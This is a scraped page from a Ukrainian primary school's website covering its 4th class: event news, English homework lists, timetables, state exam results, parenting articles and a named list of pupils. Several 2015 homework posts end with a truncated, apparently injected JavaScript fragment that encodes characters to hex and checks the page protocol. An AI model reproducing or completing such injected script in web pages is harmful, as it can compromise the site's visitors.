4 клас

В ШДС «Пролісок»почали готуватися до Великодня

В ШДС «Пролісок»почали готуватися до Великодня. Сьогодні робили саморобні різьблені свічки. Учні закладу продемонстрували гарний естетичний смак та креативність. Дякую Татьяна Кулаженко за підготовку цікавого заходу.

Вчимося створювати шедеври

Різьблені свічки своїми руками: вчимося створювати шедеври в ШДС “Пролісок”. Творчість щодня. Діти задоволені і щасливі. Готові подарунки для матусь.Дивіться на ці яскраві емоції. Вони того варті!

Роль сім’ї у вихованні здоров’я молодшого школяра

Основою життєвого успіху для кожної людини є її здоров’я, яке закладається і формується батьками з моменту планування народження дитини, з раннього її дитинства й до старості. Усю відповідальність за народження і виховання нового громадянина суспільство покладає на сім’ю Вона є природною формою збереження і зміцнення здоров’я дітей. Саме тому тато й мама можуть зробити неоціненний внесок до своєрідного «капіталу» своєї дитини – навчити сина або доньку дбати про власне здоров’я, щоб обраний ними в дитинстві здоровий спосіб життя допоміг довго і радісно жити. Здоров’я – одна з основних багатогранних...

Алея випускників

Сьогодні випускники ШДС “Пролісок” , учні 4 класу , на чолі з вчителями Світланою Іванівною та Юлією Миколаївною , за підтримки своїх любих батьків, на довгу пам’ять, висадили 24 кущі троянд на центральному вході закладу. Дякуємо за яскраві, теплі спогади та пам’ять про проведені чудові роки в початковій школі “Пролісок”.Фото з історичної події:

Домашні завдання з англійської мови

4 клас 11.04.16 р.99, ех.5 – написати оголошення. 13.04.16 р.101, ех.5 – написати про своє шкільне свято, вчити слова. 15.04.16 р.103, ех.5 – прочитати, написати, вставити прийменники; вчити слова. 3 клас 11.04.16 завдання у зошиті – розібрати 2 речення; вчити слова. 13.04.16р.79, ех.4 – дописати речення, вчити слова 15.04.16 вчити слова, вчити розповідь про школу (р.79 ех.4) 2 клас 13.04.16 SB р.111 ех.4- доповнити  письмово речення ; вчити слова. 15.04.16 WB р.79 ех 3. SB 117 ех.3 – читати, перекладати.

Домашні завдання з англійської мови

2 клас 06.04 (WB)р.68,ех.5 – прочитати, вставити слова; вчити назви днів тижня. 08.04 (WB)р.72, ех.1 – написати слова, вчити лексику (назви свят) 3клас 04.04 (WB) с.104, test 15 – завершити речення, написати про тварину. вчити слова. 06.04 - 08.04 (SB)р.88 – читати, перекладати (WB)р.105 test18 – написати про себе. (анкета) 4 клас 04.04. с.94, впр.3 – дописати речення(4,5,6) 06.04. с.95, впр.5 – відповісти письмово на запитання 08.04 с.97 впр.5 – описати цікавий персонаж вечірки

Ломашні завдання з англійської мови

2 клас 16.03.16 (SB) с.87 впр.5 (письмово) вчити слова 18.03.16 (WB)с.63 впр.2,3   вчити слова. 4 клас 16.03.16 с.85 впр.5 (написати про Київ), вчити слова 18.0з с.87 впр.1 – вчити порядкові числівники, с.88 впр.4 (письмово) 3 клас 16.03 вчити лексику (комахи, птахи) 18.03 (WB) р.70 ех.2 (скласти 6 речень)

Домашні завдання з англійської мови

3 клас 15.02.16 ( WB) с.56 впр.1, 2 -з,єднати малюнки зі словами, заповнити пропуски; вчити слова по темі “Їжа” 17.02.16 - 19.02.16 проектна робота – план квартири (SB) с.67. впр.7 ; вчити слова – назви кімнат 4 клас 15.02.16 с.68, впр.5 – переписати, вставити слова, підготуватися до тексту. 17.02.16 с.70, впр.5 – скласти 6 речень за таблицею. 19.02.16 с.73, впр.5 – скласти 6 речень за таблицею; вчити слова по темі “Подорож” 2 клас 17.02.16 ( WB) с.51-52, впр.2 – з,єднати половинки слів, підписати малюнки; вчити слова по темі “Біля...

Дистанційне навчання в 4 класі на час карантину

Українська мова ДПА 5,6,7 Математика ДПА 5,6,7 Літературне читання ДПА 4,5,6 Тематичні роботи з української мови с.21-32

Дистанційне навчання в 4 класі з англійської мови

SB с. 59, вправа 2 (усно) с. 61, вправа 3 (читати, перекладати) с. 63 вправа 5, написати 6 речень с. 140 вчити неправильні дієслова з 24 по 37

домашні завдання з англійської мови 18.12.15

4 клас (SB) с.55, впр.5 – намалювати малюнок про свій найкращий вихідний день, написати про нього; вчити еправильні дієслова. 3 клас – test 9 с.102 – знайти та виправити помилки; вчити вірш. 2 клас – (SB) с.60, впр.2 – написати іменники у множині, вчити вірш

домашні завдання з аглійської мови

14.12.2015 3 клас (SB) с.49,впр.7; проектна робота – написати лист Діду Морозу. 4 клас (SB) с.53.впр.5 – написати пр свою колекцію. 16.12.2015 2клас (WB) с.40, впр.3 -намалювати фантастичну істоту та описати її; вчити слова. 3 клас - підготувати листівку до Нового року 4 клас (SB) с.53,  впр.1 -прочитати, перекласти; впр.2 – відповісти письмово на запитання SB WB

Домашні завдання з англійської мови 6.10.2015р.

2клас (Book) с.25, впр.5 доповни та напиши; вчити слова. 3 клас (SB) с.17, впр.2 вчити вірш 4 клас проектна робота: намалювати  план своєї квартири // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Домашні завдання з англійської мови 12.10.2015р.

3 клас (WB) с.17, впр.5 -перекласти слова, та утворити речення; вчити слова. 4 клас Повторити розповідь про своє місто // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Домашні завдання з англійської мови 25.09.2015

2 клас: (WB) p.4 ex.17 – з’ єднати і записати слова та словосполучення з неозначеним артиклем а/аn;  (SB) р.16, ех. 1 – вивчити лексику. 3 клас: підготувати розповідь про свої вихідні “My rest days” 4 клас: підготувати розпвідь про своє місто.  (SB) р.18, ех. 5 (в) // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Домашні завдання з англійської мови 23.09.2015р.

2 клас: (WB)p.14,  ех.2 – написати слова, відповідно до малюнку,      вчити лексику (SB)р.14, ех. 1 3 клас: (WB)p.10, ex.4-зєднати і записати речення,       вчити лексику (SB)р.10 4 клас: (SB)р.18, ex.5 а)записати  утворенні  речення про своє місто,  заповнити пропуски поданими дієслвами; р.17, ех 1 – вчити лексику. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Зустріч з учасниками АТО

Збудженими, радісними і зосередженими одночасно,  були 23 квітня  учні та вихованці нашого закладу. Адже  сьогодні юні господарі приймали гостей – до закладу завітали  учасники бойових дій які повернулися з  зони АТО, бійці 12 бригади Дарницького військомату.  Малеча підготувала для гостей концерт.  А після концерту вручили сувеніри виготовлені своїми руками, листи та малюнки. Діти особливо раділи прямому спілкуванню з справжніми героями. Не лишились осторонь і батьки дітей та працівники ШДС “Пролісок”: зібрали предмети першої необхідності (медикаменти, засоби особистої гігієни,печиво, цукерки, крупи, консерви, сухі борщі, шкарпетки та теплі пояси). Всі ці...

Розклад на 2014-2015 н.р. 4 класу

“РОСТОК” Понеділок: 1. Навколишній світ 2. Математика 3. Українська мова 4. Музика 5. Фізкультура Вівторок: 1. Читання 2. Математика 3. Українська мова 4. Англійська мова 5. Навколишній світ Середа: 1. Читання 2. Математика 3. Українська мова 4 Трудове навчання 5. Фізкультура Четвер: 1. Читання 2. Математика 3. Інформатика 4. Фізкультура 5. Основи здоров’я П’ятниця: 1. Навколишній світ 2. Математика 3. Українська мова 4. Англійська мова 5. Образотворче мистецтво

Результати ДПА читання -2014

Аналіз результатів державної підсумкової атестації з читання учнів 4 класу школи – дитячого садка 1 ступеня « Пролісок» за 2013-2014 н.р. 14  травня 2014 року Кількість учнів Писали Рівні навчальних досягнень Якість Успішність Середній бал Завдання Закритого типу Відкритого типу Творче Високий Достатній Середній Початко вий 1 2 3 4 5 6 7 Зміст висловл. Висловл.власн. думки 29 28 14 14 0 0 100% 100% 9,2 2 0 3 2 0 0 7 1 1

Результати ДПА з математики-2014

Аналіз результатів державної підсумкової атестації з математики учнів 4 класу школи – дитячого садка 1 ступеня «Пролісок» за 2014-2015 н.р. 13 травня 2014 року Кількість учнів Писали Рівні навчальних досягнень Якість % Успішність % Середній бал Завдання Високий Достатній Середній Початковий Закритого типу Відкритого типу Відкритого типу з розгорнутою письмовою відповіддю 1 2 3 4 5 6 7 8 29 28 12 15 1 0 97% 100% 9,3 1 4 1 1 2 0 10 3

Увага! ДПА

Дорогі діти, учні 4 класу. В 2013-2014 н.р. державна підсумкова атестація в ШДС “Пролісок” проходитиме наступним чином: 13 травня – математика 14 травня – читання 20 травня – українська мова. Бажаємо успіхів! Адміністація

Туристичні походи- осінь – 2013

Розклад уроків 4 клас 2013-2014 н.р.

4 клас 1. Навколишній світ 2. Математика 3. Українська мова/Англійська 4. Англійська/Українська 5. Музика 1. Читання 2. Математика 3. Українська мова 4. Навколишній світ 5. Трудове навчання 1. Сходинки до інформатики 2. Англійська мова 3. Математика 4 Читання 5.Фізкультура 6. Християнська етика 1. Читання 2. Математика 3. Українська мова 4. Основи здоров’я 5. Фізкультура 1. Навколишній світ 2. Математика 3. Українська мова 4.Образотворче мистецтво 5. Фізкультура

Аналіз виконання програм в 4 класі

Аналіз виконання програм в 4 класі за 2012-2013 н.р. по школі – дитячому садку 1 ступеня «Пролісок» Предмет, види перевірок 4 клас Українська мова, в т.ч. з розвитку зв’язного мовлення та позакласного читання За програмою Фактично виконано Аудіювання 2 2 Діалог 1 1 Усний переказ - - Усний твір 1 1 Читання мовчки/ вголос 2/2 2/2 Письмовий переказ 2 2 Мовна тема 4 4 Диктант 4 4 Списування 2 2 Урок розвитку зв’язного мовлення 16 16 Урок позакласного читання 16 16 Математика Тематичні к/р ( у т.ч. ДПА) 9...

Увага! ДПА в 4 класі

Державна підсумкова атестація в початковій школі у 2013 році. ДПА 4 клас У 2012/2013 навчальному році державна підсумкова атестація у початковій школі проводиться з української мови (мова та читання) та математики У 4-х класах державна підсумкова атестація проводиться з 13 по 21 травня із української мови та читання, математики. Державна підсумкова атестація з української мови (мова навчання), проводиться з метою перевірки мовленнєвих умінь і навичок правопису учнів, а також їхньої здатності практично застосовувати здобуті мовні знання. Для перевірки мовленнєвих умінь учням пропонується написати  зв’язний текст на задану тему, правописних...

4 клас в 2012-2013 н.р.

Найстарших школярів “Проліска” в 2012-2013 н.р. навчає та виховує вчитель- класовод- Аврамова Зінаїда Володимирівна та вихователь групи продовженого дня- Фрунзе Ірина Михайлівна СПИСОК УЧНІВ 4 КЛАСУ ШДС « ПРОЛІСОК» 1.Бойко  Анастасія 2.Бурдейний Олександр 3.Вальдман Дем’ян 4.Вербіна Аліна 5.Вознюк Єгор 6.Гнилянська Діана 7. Деркач Катерина 8. Долженко Ольга 9. Загній Ростислав 10. Козачок Леонід 11. Котельнікова Дарина 12. Левицька Ірина 13. Лейко Михайло 14. Лісневський Ілля 15. Лісовий Олексій 16. Мельник Марія 17. Павлють Анастасія 18. Поліщук Артем 19. Радзієвський Андрій 20. Репіленко Ліза 21. Симоненко Артем 22. Теймуров Фарман...

Свято 8 Березня в 4 класі

Пропонуємо фото із заходу, присвяченому весняному жіночому дню 8 Березня

Презентація діяльності 4 класу

Ми у « Проліску» найстарші, Заздрять всі здобуткам нашим Із садочка всі ми разом, Нас зовуть всі дружним класом.

Фізичне виховання учнів поза школою. Роль сім’ї у фізичному вихованні дітей

Важливу роль у фізичному вихованні дітей відіграє сім’я. Категорично і однозначно визначав роль батьків у вихованні дітей Ж. Руссо. Він вважав, що той, хто не може виховувати дітей, не повинен їх мати, і ні бідність, ні робота, ні повага людей не позбавляють батьків від обов’язку виховувати самому своїх дітей, а Котляревський у поемі “Енеїда” гнівно засуджував тих батьків, які хибно виховували своїх дітей: Батьки, які синів не вчили, А гладили по головах, І тільки знай, що їх хвалили, Кипіли в нефті в казанах. Батьки — найперші вихователі. Час повернути...

Пам’ятка батькам дитини шкільного віку

Виховуємо у школярів свідоме ставлення до себе. Привчаємо дитину уважно ставитися до себе, виявляти інтерес до своїх особливостей, станів, якостей, поведінки, результатів праці тощо. Вправляємо в умінні спостерігати за собою в різних життєвих ситуаціях, порівнювати різні враження про себе, радіти більшості з них. Надаємо перевагу запитальній формі звернень до дитини: “А ти як вважаеш?”, “Якої ти думки про це?”, “Ти зі мною згоден?”, “Чому так?”, “Чому ні?” тощо. З розумінням ставимось до намагань дитини з’ясувати в дорослого, чому слід виконувати те чи інше завдання, яка з цього користь для...

Page 1 of 212»